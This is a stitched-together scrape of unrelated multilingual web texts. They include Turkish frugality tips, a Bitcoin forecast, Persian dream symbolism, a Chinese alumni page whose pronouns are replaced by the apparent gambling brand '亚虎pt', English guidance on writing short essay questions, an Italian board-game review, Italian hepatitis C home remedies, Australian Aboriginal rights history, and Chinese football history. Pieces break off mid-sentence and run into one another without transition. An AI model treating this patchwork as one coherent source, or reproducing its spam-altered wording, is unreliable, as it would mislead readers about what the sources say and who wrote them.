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2. Buzdolabı ve kileri temizleyin. Bir kenara koyup unuttuğunuz yiyecekleri dolabınızın kuytu yerlerinde bulabilirsiniz.
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3. Toptan alın. Düzenli olarak satın aldığınız ürünleri toptan alarak tasarruf edebilirsiniz.
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4. Konserve almayın. Taze ürünler ve kuru bakliyat genel olarak konserve ürünlerden daha sağlıklı ve ucuz.
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5. Market ürünlerini deneyin. Büyük marketler tarafından üretilen ucuz ürünleri deneyin.
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6. Hazır yemek almayın. Önceden pişirilmiş ısıtmaya hazır ya mikrodalgada pişirilmek için üretilmiş yiyeceklerin fiyatları çok yüksek olabiliyor.
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7. İhtiyacınızdan fazla yiyecek almayın. Çürümüş yiyecekleri çöpe atmakla paranızı çöpe atmak arasında fark yok.
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8. Yemekleri toptan pişirin. Sebze, bakliyat ve etleri hafta başında pişirerek bütün hafta yetecek kadar yemeğe sahip olabilirsiniz.
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9. Kendi kahvenizi yapın. Kafelerden almak yerine kahvenizi evde yaparak tasarruf edebilirsiniz.
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10. İşyerine evden yemek götürün. Bu yolla öğle yemeği masraflarınızı yarı yarıya azaltabilirsiniz.
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11. Şişe su almayın. Sürekli küçük şişe sular almak yerine bir matarayı doldurup onu yanınızda taşıyın.
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12. Dışarıda içmeyin. Dışarıda yenecek bir yemeğin yanında içeceğiniz alkollü bir içki yemek faturanızı kabartabilir. Onun yerine evde içki içmeyi tercih edebilirsiniz.
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13. Harcamalarınız takip edin. Aylık harcamalarınızı yazılı şekilde takip ederek nerelere boşa para harcadığınızı bulabilirsiniz.
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14. Kendinize hedef koyun. Eğer belli bir sürede belli bir miktar para biriktirmeyi hedeflerseniz, paranızı gereksiz şeylere harcamaktan kaçınmanız kolaylaşabilir.
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15. Kaliteli ürünler alın. Her altı ayda bir ucuz bir çift ayakkabı almak yerine kaliteli bir çift alıp yıllarca giymek daha hesaplı olacaktır.
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16. Para yerine zamanla düşünün. Eğer saatte 10 lira kazanıyorsanız, 5 liralık bir kahve yarım saatlik çalışmanızın karşılığı demek olur. O kahvenin bu süreye değip değmediğine siz karar verin.
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17. Satın almadan önce düşünün. Beğendiğiniz bir ürünü almadan önce, "Bu ürünün benim hayatıma ne gibi bir etkisi olacak" diye düşünün. Böylece gereksiz harcamaları kontrol altına alabilirsiniz.
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18. Eğlence harcamalarınızı sınırlayın. Keyfiniz için yaptığınız harcamaları toptan kesmek yerine sınırlandırın. Örneğin, haftada bir sinemaya gidiyorsanız ayda bir gitmeyi deneyin.
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19. Maaşınızın yarısını kenara koyun. Aldığınız maaşın yarısını tasarruf hesabına koyarak daha az parayla yaşamanın yollarını bulabilirsiniz.
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20. Kart borcunuzun tamamını ödeyin. Kartınızın minimum borcu yerine bütün borcunu ödeyerek faiz ödemekten kurtulursunuz.
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21. Faturalarınızı otomatik ödeyin. İnternet hesabınız üzerinden faturalarınızı otomatik ödeyerek geç ödeme cezalarını engelleyebilirsiniz.
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22. Eksi bakiyeye düşmeyin. Bankaların sunduğu Kredili Mevduat Hesabı seçeneğini ya hiç kabul etmeyin, ya da mümkün olduğunca eksiye düşmemeye çalışın.
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23. İhtiyacınıza göre harcayın. Eğer koşmayı seven biriyseniz iyi ayakkabılara ihtiyacınız var demektir. Harcamalarınızı i
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çıkladığı 1 trilyon dolarlık ilk teşvik paketi, boyutuyla herkesi şoka sokmuştu.
Birkaç gün sonra 25 Mart'ta iki parti, bu rakamın iki katını içeren bir teşvik paketi üzerine anlaştı. Binance CEO'su Changpeng Zhao, yeni diyaloğun ardından Bitcoin'in piyasa değerinin 2 trilyon dolara çıkartmasının oldukça ''mütevazı'' bir öngörü olduğunu belirtti.
Değer kaybeden dolar Bitcoin'i 100 bin dolara taşır mı?
ABD Merkez Bankası ve dünya genelinde diğer merkez bankaları, COVID-19 kaynaklı finansal çöküşün daha da derinleşmesini parasal genişleme yoluyla önlemek için seri para basımına başladılar.
Gündemde trilyon dolarlar var ve Bitcoin, Fed'in sınırsız nakit açıklamasının ardından şimdiden önemli bir değer artışı yaşadı. Zhao, bu ivmenin Bitcoin'i 100 bin dolara taşıyacağını düşünüyor:
“Trilyonlardan konuşmaya alışmışken, 2 trilyon dolarlık piyasa değeri Bitcoin'i 100 bin dolara taşıyacaktır. Hayal etmesi zor bir rakam değil, değil mi?”
HODLer'lar fiyatı fırlatabilir
Zhao, Bitcoin'in çoğunun HODLer'ların elinde bulunduğunu ve satılmadığını, 2 trilyon dolarlık teşvik paketinin yalnızca küçük bir kısmının Bitcoin'e akmasının kripto parayı bu rakamla eşit piyasa değerine taşımak için yeterli olacağını belirtti.
Tabi ki Zhao, Bitcoin'e olan kesintisiz güveniyle meşhur ve Twitter takipçilerinin çoğu, bu tür bir tahminin yalnızca satış sinyali olabileceğini düşünüyor. Diğer yandan dolar arzının günden güne artması, sınırlı arzı olan Bitcoin'in lehine olabilir.رویای در مورد تیراندازی یک هدف نماد تمرکز خود را بر روی یک هدف و یا هدف است که شما ~هدف برای.~ مقصد نیز می تواند نمایندگی از ندای فرصت، فرصت، و یا قضاوت باشد. آرزویی برای اتفاقی که بیفتد. متناوبا, تیراندازی یک هدف می تواند چیزی منفی در زندگی خود را نشان می دهد که شما در حال تلاش برای حذف. رویای در مورد فقدان سرنوشت نماد یک فرصت از دست رفته و یا فرصت. همچنین می تواند نمایندگی از کمبود منابع، آماده سازی و یا قدرت اراده مورد نیاز برای رسیدن به یک هدف است. رویای در مورد ضربه هدف نماد موفقیت و یا پیشرفت. هدف رسیده است ، و یا یک مشکل حل شده است. تو چيزي که ميخواستي رو گرفتي رویای هدف بودن نماد احساسات قربانی بودن یا مجرد بودن است.欢迎顶峰学院的毕业生们!
感谢您访问顶峰学院的校友页面. -这是一个与你的社区联系的好方法. 学习如何与朋友和导师保持联系, 扩大你的交际圈, 回馈社会，充分利用你的校友地位! 让亚虎pt从更新你的个人资料开始.
欢迎亚虎pt新的校友参与协调员Kaela科尔曼!
在参加高峰会之前，Kaela在圣安德鲁斯大学担任校友关系协调员. 凯瑟琳高中在拉辛，威斯康星州. 在我的专业中学习和成长之后, 她想回来帮助我家乡和社区的校友. Kaela与学生打交道的经验, 校友, 以及各种活动为她在峰会上担任校友管理协调员做好了准备.
Kaela和她的丈夫有一个6个月大的男孩，名叫PJ. 她喜欢所有与篮球有关的事情. 疯狂三月对她的家庭来说是一件大事，他们每年都有一场比赛. 3月份去她的办公室提交你的论文!
Kaela期待有机会与你们中的许多人接触. 如果你有任何有用的提示, 最喜欢的经历, 或任何可能帮助凯拉过渡的建议, 欢迎在kcoleman@saoic分享.org. 如果你在附近，请过来打声招呼!
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当你在职业生涯中取得进步或正在寻找职业时，亚虎pt随时为你服务! 亚虎pt的职业服务是一个无价的资源，你可以一次又一次地求助. 获得个性化的指导 Kaela科尔曼. 亚虎pt提供职业咨询, 申请材料反馈, 招聘活动, 和恢复援助.
分享你的故事
亚虎pt总是兴奋地分享亚虎pt的毕业生的成功! 你参加峰会时有什么故事要讲吗?或者从那以后你都做了些什么? 亚虎pt很想听听你的故事 在这里. 这也是一个很好的地方，你可以在这里了解你的同学或其他Summit校友都在做什么!By the end of the session, learners should be able to:
1.Understand the term ‘Short Essay Questions’
2.Know objectives of SEQs
3.Comprehend advantages & limitations of SEQs
4.Construct well written SEQs
5.Identify flaws in SEQ writing
Definition of SEQ
“A test item which requires:
A response composed by the examinee, usually in the form of one or more sentences,
Of a nature that no single response or pattern of responses can be listed as correct,
And the accuracy and quality of which can be judged subjectively only by one skilled or informed in the subject.” (John Stalnaker, 1951)
An examination or test question that requires:
An explanation or analytical answer
In a sentence, paragraph, or short composition
Other Related Terms
Short Answer Questions (SAQs)
Restricted Response Questions (RRQs)
The RRQ places strict limits on the answer to be given. The boundaries of the subject matter to be considered are usually narrowly defined by the problem, and the specific form of the answer is also commonly indicated (by word such as “list”, “define” and “give reasons”)
Extended Response Questions (ERQs)
Extended response items have traditionally been called “essay questions.” It requires students not only to give an answer but also to explain the answer.
SAQs come under RRQs and SEQs come under ERQs. However the terms SEQs and SAQs are often used interchangeably/synonymously.
Objectives of SEQs
To assess simple RECALL of facts
To assess students UNDERSTANDING of subject matter/content
To test students APPLICATION of knowledge
To assess HIGHER ORDER THINKING ability (e.g. analyzing, critical thinking)
To assess student abilities to reason and present knowledge in a logical, organized manner IN WRITING.
The last objective is one of the major point which differentiates SEQs from MCQs and Viva Voce.
These objectives are covered in the revised Bloom’s Taxonomy educational objectives:
Advantages of SEQs
Assess higher-order or critical thinking skills.
Develop good study habits
Students study more efficiently for SEQs than MCQs (according to a research study)
More depth of knowledge can be assessed
Students have to work out answer instead of choosing from a list
Minimize rote memorization
Partial credit can be given for partially correct answers
Relatively easier to construct than MCQs
Allows assessment of complex learning objectives not measured by other means
Economical (less number of pages required for questions)
Disadvantages/Limitations of SEQs
1. Assess limited number of learning objectives/content
2. Are time-consuming to grade
3. Decreased validity: The ability of an SEQ to assess what is intended to be assessed. Students may know the answer but are unable to express it in writing.
Validity refers to how well a test measures what it is purported to measure.
4. Decreased reliability (accuracy, reproducibility, consistency)
Reliability is the degree to which an assessment tool produces stable and consistent results.
5. Can encourage ‘bluffing’
Example of ‘Bluffing’
Enlist 6 Uses of Propranolol (3)
Answer (by ‘intelligent’ students):
3. Increased heart rate
4. Atrial fibrillation
5. To decrease the heart rate
6. Atrial flutter
How many marks will you give?
Steps: Constructing Short Essay Questions
Well Constructed Short Essay Questions Improve Validity & Reliability of SEQS
1. Learning Objectives
Students should be told the Learning Objectivess of the test syllabus/content/topics beforehand
Evaluating essay questions without adequate attention to the learning objectives is just like:
“three blind men appraising an elephant”
It helps students to focus on the required educational objectives of the course instead of reading many books, information from the net etc. thoroughly.
It gives them target of studies.
Improve validity of the SEQs.
2. Examination Blueprint
This should be prepared before every paper
Decide Number of Questions
Division of topics (TOS)
Question setter of each SEQ
3. Appropriate Selection of Words
Appropriate and careful selection of words, especially the correct action verbs from Bloom’s taxonomy
A whole list of verbs for each cognitive level from REVISED Bloom’s taxonomy can be obtained from several websites:
Use Correct Action Verbs!
This is necessary for clarity of the students of:
a) What they have to write
b) How much they have to write and
c) An indication of time for the question
d) Provides for structured SEQ and structured responses
Questions should NOT be vague
Examples of Errors (Basic Science Papers)
Actual university exam questions. Inappropriate words used; often do not begin with an action verb:
What are tumor suppressor genes?
Give adverse effects and drug interactions of succinylcholine.
What is cardiac output?
What are factors affecting venous return?
A patient is hit by a car at fast speed. What type of injuries may happen to this patient?
Examples of Errors (Clinical Sciences Papers)
What are the possible causes of this condition?
Give treatment options
Which tests will help you in confirming the diagnosis?
4. Components/Parts of Question
Each question should comprise of only one component/part or at the most two
There should be breakdown of marks for every part and subpart
For enlist, enumerate & other possible tasks, specify the number of points required
This helps in making the key for the SEQ
This in turn makes paper checking much more easier
More consistency in marking
And this increases the reliability
Examples of Errors
Define and classify carbohydrates. Enumerate reduction products of glucose, mannose and ribose and give their significance. (5)
A patient was advised uricosuric drugs. Name these drugs along with their mechanism of action and adverse effects (3)
What is Niemann-Pick Disease type A and B? Briefly discuss its clinical manifestations and diagnosis. (3)
5. Scenario-Based SEQs
Design a relevant clinical scenario
Incorporate basic/clinical science principles
Link the questions directly to the clinical scenario
Ensure the question(s) cannot be answered without the scenario
‘Superficial or misleading presentation of something, designed to create a favorable impression.’
Verbosity: ‘ the fact or quality of using more words than needed’
There is no link between the scenario and lead question
Examples of Errors
A 50 year old man has developed shortness of breath with exertion several weeks after experiencing a viral illness. This is accompanied by swelling of the feet and ankles and some increasing fatigue. On physical examination, he is found to be mildly short of breath lying down, but feels better sitting upright. The presumptive diagnosis is dilated cardiomyopathy secondary to a viral infection with stage C heart failure. He is placed on a low sodium diet and treated with a diuretic Furosemide 40 mg twice daily and digoxin 0.25 mg daily. On this therapy, he is less short of breath on exertion and can also lie flat without dyspnea
a) What is the mechanism of action of digoxin at the molecular level? How it improves cardiac importance. Also give its electrical effects. (3.5)
b) What is rational use of Furosemide in this patient? Write its mechanism of action and adverse effects. (3.5)
Example of Error 2
A 50 year old male presented with hoarseness of voice. He was diagnosed as a case of CA larynx, for which his total laryngectomy was performed.
a)What are the different types of tracheostomy? (2)
b)What are the complications of tracheostomy? (3)
6. Options in SEQs
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$ 2.
Un giocatore non può raccogliere ulteriori carte Salva, Spendi e Dona fino a quando non ne ha un set completo di tre. Ad esempio, se il giocatore raccoglie prima una carta Save, deve poi raccogliere una carta Spend and Give (di qualsiasi valore) prima di poter raccogliere un’altra carta Save. Una volta che la carta è stata raccolta, viene posizionata sulla sua plancia Giocatore. Le carte rimanenti vengono rimesse al centro dell’area di gioco.
Contare le monete
La fine del gioco viene attivata quando un numero specifico di schede di lavoro vengono rimosse dal gioco. Il numero di schede di lavoro rimosse che attivano la fine del gioco dipende dal numero di giocatori. Ad esempio, otto schede di lavoro rimosse quando si gioca con due giocatori e sei schede di lavoro rimosse quando si gioca con quattro giocatori.
Ogni giocatore ha quindi un’ultima possibilità di spendere i propri gettoni sulle carte Spendi, Risparmia o Dona ancora disponibili. Le carte acquistate vengono posizionate sulla plancia del giocatore e le monete spese, insieme a tutte le altre monete che il giocatore può avere, vengono poste nella scatola delle monete.
Cosa possiamo imparare dagli Hunger Games sul comunismo?
The Hunger Games potrebbe contenere la migliore rappresentazione del comunismo e di suo cugino, il socialismo, mai fornita in un romanzo di successo.Data la popolarità nazionale del socialista dichiarato Bernie Sanders e di altri che vogliono un maggiore controllo del governo sulle nostre vite, le lezioni di questi libri sono abbastanza opportune e disperatamente necessarie.
I videogiochi rendono i bambini più intelligenti?
Secondo Scientific Reports, i bambini che giocavano di più ai videogiochi a dieci anni non erano in media più intelligenti dei bambini che non giocavano, hanno mostrato i maggiori guadagni in intelligenza dopo due anni, sia nei ragazzi che nelle ragazze.
Cosa significa per te l’ultima prospettiva economica dell’OCSE?
L’ultimo Economic Outlook dell’OCSE prevede una forte decelerazione della crescita globale a circa il 3% quest’anno e al 2,8% nel 2023, ben al di sotto della ripresa prevista nel precedente Economic Outlook lo scorso dicembre.
I giocatori ora determinano il loro punteggio contando il valore in denaro di tutte le carte che hanno raccolto. Il giocatore con più soldi vince la partita. I pareggi vengono risolti con la vittoria del giocatore con il minor numero di carte.
Variante di gioco
Il gioco standard sopra descritto è piuttosto semplice. Ottimo per i giocatori più giovani e inesperti. Se si desidera un gioco più avanzato, le bacheche dei lavori vengono posizionate in modo che la freccia rosa sia rivolta verso l’alto (che rappresenta i lavori più complicati), i valori delle carte da $ 2 vengono rimossi invece degli $ 8 e le monete vengono posizionate casualmente come di consueto, ma il Il valore della moneta più in alto viene rivelato prima che vengano posizionati i segnalini “Kid”.
Il gioco è lo stesso, ma i giocatori sono costretti ad acquistare una carta quando hanno $ 10 o più in monete (non $ 6).
Quando il gioco finisce, i giocatori sono costretti ad acquistare le carte se hanno $ 3 o più risparmiati sulla loro plancia giocatore. Punti aggiuntivi vengono guadagnati se il giocatore ha risparmiato, speso e dato un importo uguale. Ad esempio, se il giocatore ha un valore in denaro totale di $ 10 per le carte Salva, Spendi e Dona (per un totale di $ 30), guadagna anche altri $ 5 (per un nuovo totale di $ 35). Non è necessario che il giocatore abbia lo stesso numero di carte in ciascuno dei tre tipi. Solo il valore monetario totale di tutti e tre deve corrispondere.
Per saperne di più su Gobbe di posti di lavoro, visita la pagina web del gioco.
Parola finale
Gobbe di posti di lavoro è stato apprezzato dai più piccoli Child Geeks e da coloro che non avevano familiarità con i giochi da tavolo. Secondo uno di questi Child Geeks, “Mi piace il gioco. Mi piace come puoi spendere i tuoi soldi per le cose che vuoi. Un altro bambino geek ha detto: “Cercare tra le carte le cose da comprare è come andare al negozio con mamma e papà, tranne che nel gioco posso ottenere quello che voglio senza chiedere”. Per la maggior parte, i Child Geeks erano consapevoli che il gioco stava tentando di insegnare loro una lezione, ma non hanno mai veramente capito quale fosse quella lezione fino a quando i Parent Geeks non li hanno informati. Dopo aver ascoltato educatamente il significato più profondo del gioco, hanno sorriso , annuirono e continuarono a suonare. Difficile dire se qualcosa sia stato davvero appreso, ma si sono divertiti tutti, con il risultato che i Child Geeks hanno approvato completamente Gobbe di posti di lavoro.
Ai Parent Geeks è piaciuto ciò che il gioco stava tentando di fare, ma la maggior parte ha ritenuto che non fosse un prezioso strumento didattico. Come solo un gioco, tuttavia, si sentivano Gobbe di posti di lavoro andava bene. Secondo un genitore geek, “Il gioco non è così interessante per me e sembra poco più di un semplice collezionismo di set, ma l’ho usato per avviare conversazioni con i miei figli sui soldi e sulla loro importanza. Se non altro, il gioco fa un ottimo lavoro nel fornire ai genitori un contesto divertente per avere questo tipo di conversazioni”. Un altro genitore geek ha detto: “Non è un gioco per me, ma penso che ci sia valore nel giocare con i tuoi figli che aiutano a insegnare loro il prima possibile come essere responsabili con i loro soldi”. Quando tutti i giochi furono finiti, i Parent Geeks concordarono sul fatto che il gioco avesse un valore, ma non tutti credevano che il gioco fosse abbastanza buono da approvare pienamente.
I Gamer Geeks sono andati piano Gobbe di posti di lavoro, identificando molto presto che si trattava di un gioco destinato ai bambini.Invece, si sono concentrati sulle meccaniche di gioco, determinando se il gioco ha davvero fatto riflettere il giocatore. Decisero di no. Secondo un Gamer Geek, “Non è ovvio nel gioco standard dove dovresti andare a raccogliere denaro e le regole di movimento sono orribili. Impostare i limiti di raccolta sembra pesante e il fatto che tutte le carte valgano punti alla fine fa sentire che non c’è differenza tra spendere i tuoi soldi, risparmiarli o regalarli per beneficenza. Un altro Gamer Geek ha dichiarato: “Il gioco è pensato per i bambini e non lo giudicherò da un punto di vista che normalmente farei. Ma dirò questo. Il gioco ha l’idea giusta ma non la esegue. Devono essere messe in atto strategie che insegnino al giocatore il modo migliore per spendere i propri soldi e penalizzino quando non lo fanno. Il gioco non ha nulla di tutto ciò”. I Gamer Geeks hanno votato per rifiutare Gobbe di posti di lavoro.
L’intento di Gobbe di posti di lavoro è insegnare a Child Geeks il valore del risparmio, della spesa e del dare denaro. Questa lezione è completamente persa su di loro a meno che tu non parli immediatamente con i Child Geeks durante e dopo il gioco. Ti consiglio anche di giocare con le regole avanzate, poiché i punti aggiuntivi guadagnati per la raccolta intelligente di set aiutano a far capire che risparmiare, spendere e donare i tuoi soldi, oltre a gestire il modo in cui trascorri il tuo tempo in modo appropriato, è tutta una questione di equilibrio.
Il gioco in sé è troppo semplice per i miei bambini geek (stanno giocando Caposquadra Avanzato per divertimento al giorno d’oggi) e tutti, tranne i bambini più giovani e meno esperti, si sono ritrovati ad annoiarsi un po’. Davvero, non è un gran gioco. Come strumento didattico penso che abbia un grande potenziale nello stesso modo in cui una mappa ha un grande potenziale per insegnare a uno studente il mondo. Di per sé, non farà nulla. Ci vogliono un insegnante e uno studente volenteroso per trasformare uno strumento didattico in uno strumento che modella e guida la mente. Lo stesso si può dire di Gobbe di posti di lavoro. Basta giocare e non ne ricaverai molto oltre al tempo di qualità con i bambini. Il che non è una brutta cosa, ma la lezione non viene insegnata.
Non posso raccomandare questo gioco, poiché ritengo che ci siano così tanti altri giochi disponibili oggi che fanno un lavoro migliore con il gioco e possono essere usati per insegnare ai giocatori lezioni sulla corretta gestione delle risorse. Come giocatore, sentivo che non stavo facendo nulla di importante. Come genitore, pensavo che il gioco non facesse abbastanza per aiutarmi a insegnare la lezione. I giochi sono sempre un buon approccio, ma questo gioco sembrava un lavoro che non pagava abbastanza per renderlo utile.L’epatite C è un’infezione causata dal virus dell’epatite C. È una condizione permanente che può portare a gravi problemi. Quando il virus dell’epatite C infetta la persona, la persona interessata può manifestare sintomi di epatite C, causati da un fegato infiammato. Dovresti sapere che il virus dell’epatite C non attacca il sistema immunitario. Questo virus provoca una risposta infiammatoria all’interno del fegato.
Ci sono alcuni casi in cui le persone sono in grado di combattere questo virus mentre è in fase acuta. Ci sono alcuni studi in cui si nota che il 75-85% delle persone infette da epatite C progredisce verso un’infezione cronica che persiste per più di 6 mesi [1]. L’epatite C cronica provoca minuscole cicatrici nel fegato che disabilitano la corretta funzionalità epatica. L’epatite cronica C provoca infiammazione e cicatrici del fegato e può causare gravi problemi di salute, come cancro al fegato, insufficienza epatica, cirrosi e morte.
I sintomi più comuni dell’epatite C includono confusione; prurito della pelle; occhi e pelle ingialliti; perdita di peso; perdita di appetito; mal di stomaco; gonfiore della pancia; urina di colore scuro; muscoli doloranti; dolori articolari; gonfiore alle gambe; vomito; nausea; diarrea; febbre; lividi facilmente; impiegando più tempo a fermare l’emorragia; fatica. Le cause e i fattori di rischio più comuni per l’epatite C sono il parto; essere nato tra il 1945 e il 1965; attività sessuale; uso di droghe [2]. Se soffri di epatite C, devi parlare con il tuo medico prima di iniziare a utilizzare alcuni dei rimedi domestici di seguito indicati, in questo modo eviterai gli effetti collaterali.
Contenuti
- 1 Rimedi domestici per l’epatite C
- 1.1 Impegnarsi in una delicata attività fisica
- 1.2 Evitare l’uso di alcol e droghe
- 1.3 Evitare di diventare sovrappeso
- 1.4 Mangiare una dieta ben bilanciata
- 1.5 Bevi del caffè
- 1.6 Vitamina D per epatite C
- 1.7 Olio di semi neri per l’epatite C
- 1.8 Probiotici
- 1.9 Zinco per epatite C
- 1.10 Cardo mariano per epatite C
- 1.11 Agopuntura
Rimedi domestici per l’epatite C
Impegnarsi in una delicata attività fisica
Se fai esercizi delicati per tutta la settimana, può
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opposing aspects of a new law, the Aboriginal Protection Amendment Act, 1886 (Vic). The 1886 Act defined ‘Aboriginal’ people in terms of race, rather than culture, part of its aim being to exclude so-called ‘half-caste’ (mixed race) people from living on the reserves. This was designed as a cost-saving measure, but effectively separated families. It also began the systematic removal of children of mixed descent from their families. In a signed petition dated September 1886 Barak and the other petitioners sought the right to travel on and off the reserve for work, and informed Gillies: ‘we Aboriginals all wish and hope to have freedom…we should be free like the White Population.’ Barak organized other similar petitions to government seeking the retention of Coranderrk and protesting against the Act. He was a remarkable leader, who did his best to use the mechanisms of the democratic process to help his people.
Petition to the Chief Secretary from Coranderrk Station.
Reproduced courtesy Public Record Office Victoria
The long fight for citizenship
Barak’s death in 1903 deprived First Nations People in Victoria of a redoubtable leader, but in the following decades others emerged to take his place. By the 1930s First People had reclaimed the right to live in Melbourne and an identifiable community formed in the inner-city suburbs of Fitzroy and Footscray. It was there in 1933 that Yorta Yorta man William Cooper and others formed the Australian Aborigines League to fight for ‘a fair deal for the dark race.’ They campaigned for equal political rights and for the repeal of discriminatory legislation. In 1937 they tried to petition King George V for direct representation in the Parliament of Australia, and sought his ‘utmost’ in ‘taking suitable steps to preventing the extinction of the Aborigines race’. Their petition was signed by 1,814 First Nations people, but the Board for the Protection of Aborigines refused to forward it to the king. The issue of direct representation for Indigenous people in the Parliament of Australia continues to resonate today.
The League’s work continued after World War II, led by Rev. (later Sir) Douglas and Gladys Nichols and Bill Onus. Their campaign for equal political rights gradually bore fruit: from 1949 all Indigenous people who had served in the armed forces were entitled to vote in federal elections, but the exclusion of others was not removed until 1962.
Letter from William Cooper seeking permission to petition King George V.
Reproduced courtesy National Archives of Australia
The 1967 referendum
Although from 1962 First Nations people were finally considered to be citizens of Australia, discrimination continued in many aspects of their lives. Restrictions were greater in some states than others. In 1967 the federal government held a referendum to transfer the power to legislate for Aboriginal Australians from the states to the Commonwealth: it also sought the power to include Aboriginal Australians in the national census. The referendum passed with a resounding majority – 91% voting in favour nationally and 95% in Victoria.
Iconic 1967 Referendum poster ‘Yes’ for Aborigines.
Reproduced courtesy National Library of Australia
Recognition of Indigenous land rights was an issue of continuing resonance. First Nations people fought to retain their hold on reserves, against successive government attempts at resumption. In 1965 Rev. Doug Nicholls led a protest outside Parliament against the threatened closure of Lake Tyers reserve in Gippsland. The Lake Tyers reserve was home to former residents of Coranderrk, Ebenezer and Ramahyuck, all of which closed in the decades after 1904. The protest was ultimately successful and the mission was declared a permanent reserve. In 1970 the Aboriginal Lands Act 1970 finally recognised land rights in Victoria and the management of Lake Tyers was vested in the Lake Tyers Aboriginal Trust. Lake Tyers is also known as Bung Yarnda.
Pastor (later Sir) Douglas Nicholls leads a protest against the threatened closure of Lake Tyers Aboriginal Settlement, March 1965
Reproduced courtesy The Age newspaper
However the general issue of land rights has continued to be a focus of First Nations protest.
Aboriginal Land Rights protest, Collins and Spring Streets Melbourne, 1971
Reproduced courtesy The Age newspaper
White Australia has a black history
Along with land rights, a recurring focus of First Nations’ protest has been the better recognition of black history. The celebration of Australia Day on the date that the First Fleet arrived in Botany Bay has been especially contentious. Again, this is an issue with a long history. The Australian Aborigines League held the first Invasion Day protest as early as 1938, at the time of the sesqui-centennial celebrations, and it has continued ever since. One of the most successful slogans has been ‘White Australia has a Black History’. Used to great effect during the celebrations marking the bicentenary of European settlement in 1988, it continues to resonate. As a nation we have yet to find an alternative, more inclusive date to celebrate our national day.
Black lives matter
Another significant issue to inspire black protest has been the disproportionate incarceration rate of Indigenous people and the tragic number of associated deaths in custody. The deaths continue, despite numerous enquiries into prisons and the police service, provoking anger in First Nations people. April 2020 marked 30 years since the Royal Commission into Black Deaths in Custody reported, prompting protests in commemoration. Then in May 2020 the murder in America of George Floyd by a Minneapolis police officer, sparked global protest. Rallies in support were held in many Australian cities, including Melbourne, despite lockdown regulations associated with the COVID pandemic. Protests in Australia expressed solidarity with the black community in the United States, but also highlighted the persistent local tragedy of black deaths in custody. ‘Black lives matter’ was the theme of these rallies.
Author: Margaret Anderson
Bain Attwood and Andrew Markus, Thinking Black: William Cooper and the Australian Aborigines’ League. Aboriginal Studies Press, Canberra, 2004.
Richard Broome Aboriginal Victorians: a history since 1800. Allen & Unwin, Sydney, 2005.به گزارش عیارآنلاین، محمد حسین برخوردار در خصوص تعویق طرح رجیستجر شدن گوشی تلفن های همراه اظهار داشت: طرح هایی که در حوزه آی تی و تلفن همراه ارائه می شوند، بدلیل سرعت بالای تغییرات علمی و فنآوری در عرصه جهانی باید بسیار حساب شده و دقیق برنامه ریزی شوند و تلاش شود الگوها و تجربه های جهانی در این خصوص مد نظر قرار گیرد. در غیر اینصورت به منفذی برای رانت و فساد تبدیل می شوند.
این کارشناس اقتصادی ادامه داد: اگر به دنبال رجیستجر کردن گوشی های تلفن همراه هستیم، باید شیوه های فروش گوشی ها در کشور های مهد تلفن همراه را مطالعه کرده باشیم. قاچاق تلفن همراه یک معضل مخصوص کشور ما نیست که بخواهیم در مورد آن تصمیم گیری خارق العاده ای انجام دهیم و تجربیات بسیاری از کشور ها در این خصوص می تواند راهگشا باشد.
برخوردار اضافه کرد: وقتی در اقتصاد کشور معضلاتی همچون ارز چند نرخی، تعرفه های گمرکی غیر منطقی، اسارت اقتصاد در چنبره سیاست، عدم شفافیت در مراودات مالی و بانکی وجود دارد و در کنار همه این ها فرهنگ کاسب کاری و سهم خواهی از فعالان اقتصادی موج می زند، نمی توان توقع داشت زیرساخت های رجیستجر کردن به این زودی ها فراهم شود.
به گفته برخوردار، برخی می خواهند با سخت کردن امور، هزینه های خود را تامین کنند و به این دلیل در مسیر هرگونه اقدامی که برای شفاف سازی ترتیب داده می شود، سنگ اندازی می کنند. اختلاف نظر مسئولان در خصوص راه اندازی یا تعویق این طرح نیز مزید بر علت می شود و با آشفته ساختن بازار، فضا را برای سودجویی فرصت طلبان آماده می سازد.
برخوردار ادامه داد: وقتی قاچاق به صورت زنجیره های چند ده کانتینری به کشور وارد می شود، قطعا متقلبان راه رجیستجر کردن محصولات قاچاق خود را بعد از گذشت زمان کوتاهی پیدا خواهند کرد و این به معنای آن است که تنها ثمره رجستجر کردن، عوض شدن رنگ و روی قاچاق خواهد بود و قربانی اصلی، مصرف کننده و واردکننده شناسنامه دار است.
وی تصریح کرد: من مخالف طرح رجیستر کردن نیستم ولی باید هدف از آن دقیق روشن باشد. اگر هدف مقابله با قاچاق است، باید بگویم که شرایط و زیرسخت های سرویس دهی در این خصوص باید تامین باشد و دیگر پیش فرض های واردات رسمی و قانونی که بتواند از واردکننده شناسنامه دار، حمایت کند و کفه ترازو را در رقابت با قاچاقچیان به نفع واردکنندگان قانونی سنگین کند فراهم شود.
برخوردار تصریح کرد: اگر چرخه تجارت قانونی دشوار و فرسایشی باشد، رجیستر کردن به هیچ نتیجه ای جز فساد، رانت و درامد زایی برای برخی دستگاه های دولتی، خصوصی و خصولتی ختم نخواهد شد.
منبع: تسنیمAnother study this month, from Mayo Clinic, found that exercise in older people who were formerly sedentary had at least as strong an impact as in it did in young people—at least in the kinds of genes that were expressed. The study also found that these changes were much more robust in response to interval training than to weight lifting or moderate exercise. Which may mean that for some things, the type of exercise we chose matters.
The skin also serves as a release point for heat. (See “Why Does My Face Turn Red When I Exercise?” for more on that.) When you exercise, your muscles generate a lot of heat, which you have to give up to the environment so your body temperature doesn’t get too high, Hackney says. The heat in the muscle transfers to the blood, which shuttles it to the skin; it can then escape into the atmosphere.Di origine siriana, sant’Ignazio è uno dei padri apostolici, cioè legati agli apostoli e al loro spirito. Nel
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�家馬德里引進了墨西哥球星桑切斯和阿根廷球星巴爾達諾，加上本國的新星布特拉各諾等，實力大增。1985、1986年該隊兩獲歐洲聯盟杯，成為聯盟杯賽歷史上第一支蟬聯冠軍的球隊。1986－1990年，該隊連續五次奪得聯賽冠軍，創造了西班牙足壇記錄。但在冠軍杯賽中，該隊與冠軍無緣，甚至創造了0:5負于AC米蘭的歷史最差記錄?？傮w來說，80年代后期以聯盟杯賽冠軍為標志，可稱該隊歷史上第二個黃金時期。1990年奪得聯賽冠軍后，由于管理經營不善，負債累累，同時老對手巴塞羅那的崛起，皇家馬德里黯然失色，看著對手四次連續奪冠。1995年，該隊奪得聯賽冠軍，但僅過一年，該隊又僅獲聯賽第六，滑到十余年歷史最低谷。1996年，卡佩羅接過帥印，率領這支豪華之師奪得冠軍。1998、2000和2003該隊又三次獲得冠軍杯。
yabo BY 2020-04-21 | 分類 默認分類0 個評論
